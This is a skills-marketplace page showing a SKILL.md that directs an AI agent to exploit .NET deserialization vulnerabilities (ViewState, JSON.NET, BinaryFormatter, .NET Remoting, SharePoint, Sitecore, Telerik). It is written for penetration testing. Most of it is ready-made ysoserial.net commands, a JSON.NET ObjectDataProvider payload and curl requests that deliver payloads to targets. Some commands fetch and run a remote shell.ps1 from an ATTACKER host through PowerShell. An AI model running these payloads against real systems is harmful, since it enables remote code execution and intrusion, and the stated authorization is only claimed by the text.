用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/blacklanternsecurity/red-run --skill deserialization-dotnet命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
基于 SOC 职业分类
正在显示 SKILL.md
| name | deserialization-dotnet |
| description | Exploit .NET deserialization vulnerabilities during authorized penetration testing. |
| keywords | [".net deserialization","ysoserial.net","dotnet deserialization","BinaryFormatter exploit","ViewState exploit","ViewState RCE","machine key exploit","JSON.NET deserialization","TypeNameHandling exploit","ObjectDataProvider","TypeConfuseDelegate",".NET Remoting exploit","LosFormatter","SoapFormatter","SharePoint deserialization","Sitecore deserialization"] |
| tools | ["ysoserial.net","blacklist3r","burpsuite"] |
| opsec | medium |
You are helping a penetration tester exploit .NET deserialization vulnerabilities. The target application uses dangerous .NET formatters or exposes ViewState/JSON endpoints that deserialize untrusted data, enabling gadget chain attacks for remote code execution. All testing is under explicit written authorization.
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
[deserialization-dotnet] Activated → <target> to the screen on activation.engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
Your return summary must include:
ysoserial.exe (Windows — .NET Framework required), optionally
Blacklist3r or BadSecrets (Python) for machine key checksIf not already provided, determine:
| Signature | Format | Where Found |
|---|---|---|
AAEAAAD (base64) | BinaryFormatter | Parameters, cookies, ViewState |
/w (base64 prefix) | .NET ViewState | __VIEWSTATE parameter |
$type field in JSON | JSON.NET (Newtonsoft) | API request/response bodies |
| SOAP XML with CLR types | SoapFormatter | .NET Remoting, WCF |
Entry point type:
__VIEWSTATE hidden form field (ASP.NET WebForms)$type property.svc, .asmx)Formatter in use — determines which gadgets work:
| Formatter | Risk | Gadgets |
|---|---|---|
| BinaryFormatter | Critical | TypeConfuseDelegate, PSObject, DataSet |
| LosFormatter | Critical | TypeConfuseDelegate, TextFormattingRunProperties |
| ObjectStateFormatter | Critical | TypeConfuseDelegate, PSObject |
| SoapFormatter | Critical | TypeConfuseDelegate, ActivitySurrogateSelector |
| NetDataContractSerializer | High | TypeConfuseDelegate, ObjectDataProvider |
| JSON.NET (TypeNameHandling != None) | High | ObjectDataProvider, WindowsIdentity |
| DataContractSerializer | Medium | ObjectDataProvider (if type controlled) |
| XmlSerializer | Medium | Limited (requires type control) |
Skip if context was already provided.
The most common .NET deserialization vector. ASP.NET serializes page state
into __VIEWSTATE, signed and optionally encrypted with machine keys.
# Blacklist3r — checks against 3000+ published machine keys
Blacklist3r.exe --viewstate "__VIEWSTATE_VALUE" --generator "__VIEWSTATEGENERATOR_VALUE"
# BadSecrets (Python — cross-platform)
pip install badsecrets
python -m badsecrets --viewstate "__VIEWSTATE_VALUE" --generator "GENERATOR"
Machine key sources:
.env or web.config via path traversal# Basic RCE via LosFormatter + TypeConfuseDelegate
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate \
-c "powershell.exe -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')" \
-o base64
# Using TextFormattingRunProperties (alternative gadget)
ysoserial.exe -f LosFormatter -g TextFormattingRunProperties \
-c "cmd /c whoami > c:\inetpub\wwwroot\proof.txt" -o base64
# ViewState plugin (handles signing/encryption with known keys)
ysoserial.exe -p ViewState \
--validationkey="VALIDATION_KEY_HEX" \
--decryptionkey="DECRYPTION_KEY_HEX" \
--generator="__VIEWSTATEGENERATOR" \
--validationalg="SHA1" \
--decryptionalg="AES" \
-c "cmd /c whoami"
<!-- web.config -->
<machineKey
validationKey="64_HEX_CHARS"
decryptionKey="32_HEX_CHARS"
validation="SHA1"
decryption="AES" />
# POST to the target page with crafted __VIEWSTATE
curl -X POST https://TARGET/page.aspx \
-d "__VIEWSTATE=PAYLOAD_BASE64&__VIEWSTATEGENERATOR=GENERATOR&__EVENTVALIDATION=VALIDATION"
When JSON.NET (Newtonsoft.Json) is configured with TypeNameHandling other
than None, the $type property controls which .NET type is instantiated.
Look for $type in JSON responses — if the application includes type
information in responses, it likely deserializes type information from
requests too.
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"$values": ["cmd.exe", "/c whoami"]
},
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
}
}
Enables BinaryFormatter gadgets in JSON.NET context:
# Generate via ysoserial.net
ysoserial.exe -f Json.Net -g WindowsIdentity -c "cmd /c whoami" -o base64
# ObjectDataProvider
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "calc" -o raw
# WindowsIdentity (bridge to BinaryFormatter chains)
ysoserial.exe -f Json.Net -g WindowsIdentity -c "cmd /c whoami" -o raw
# Output as base64
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "whoami" -o base64
For endpoints using BinaryFormatter (signature: AAEAAAD in base64) or
SoapFormatter (SOAP XML with .NET CLR type names).
# BinaryFormatter with TypeConfuseDelegate
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64
# BinaryFormatter with PSObject (pre-CVE-2017-8565 patch)
ysoserial.exe -f BinaryFormatter -g PSObject -c "calc.exe" -o base64
# BinaryFormatter with DataSet
ysoserial.exe -f BinaryFormatter -g DataSet -c "calc.exe" -o base64
# SoapFormatter
ysoserial.exe -f SoapFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64
# NetDataContractSerializer
ysoserial.exe -f NetDataContractSerializer -g TypeConfuseDelegate -c "calc.exe" -o base64
# Send raw binary
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "whoami" -o raw > payload.bin
curl -X POST https://TARGET/endpoint \
-H "Content-Type: application/x-net-serialized-object" \
--data-binary @payload.bin
.NET Remoting endpoints use BinaryFormatter or SoapFormatter for communication. Often found on custom ports (9000-9999).
# Look for AAEAAAD signatures in responses
curl -s http://TARGET:PORT/ | base64 -d 2>/dev/null | xxd | head
# Check for .NET Remoting error messages
curl -s http://TARGET:PORT/ -H "Content-Type: application/octet-stream"
# If TypeFilterLevel=Full (unrestricted deserialization)
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "cmd /c whoami" -o raw > payload.bin
curl -X POST http://TARGET:PORT/endpoint \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.bin
# SoapFormatter variant
ysoserial.exe -f SoapFormatter -g TypeConfuseDelegate -c "cmd /c whoami" -o raw > payload.bin
curl -X POST http://TARGET:PORT/endpoint \
-H "Content-Type: text/xml" --data-binary @payload.bin
# CVE-2025-53770 — deserialization RCE (CVSS 9.8)
# Often chained with auth bypass (CVE-2025-53771 — Referer spoofing)
# Check for exposed WebPart config endpoints
# Generate payload for SharePoint
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate \
-c "powershell -nop -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')" \
-o base64
# ViewState deserialization on /sitecore/blocked.aspx
# Uses sample machine keys from Sitecore deployment guide (2017-2019)
# Check with Blacklist3r/BadSecrets first
python -m badsecrets --viewstate "__VIEWSTATE" --generator "GENERATOR"
# Telerik UI for ASP.NET AJAX deserialization
# POST to Telerik.Web.UI handler endpoints
# Check: /Telerik.Web.UI.DialogHandler.aspx
# Check: /Telerik.Web.UI.SpellCheckHandler.axd
When you can't see direct output from deserialization:
Time-based:
# Payload that causes delay
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate \
-c "cmd /c timeout 10" -o base64
# Measure response time — >10s indicates execution
DNS callback:
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate \
-c "cmd /c nslookup ID.oastify.com" -o base64
# Monitor Burp Collaborator for DNS callback
File write proof:
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate \
-c "cmd /c echo PROOF > c:\inetpub\wwwroot\proof.txt" -o base64
# Then: curl https://TARGET/proof.txt
AAEAAAD base64 signatures may be flagged by IDS/WAF rules__VIEWSTATEGENERATOR value matches the target pageTypeNameHandling is not None (check response for $type hints)SerializationBinder that whitelists types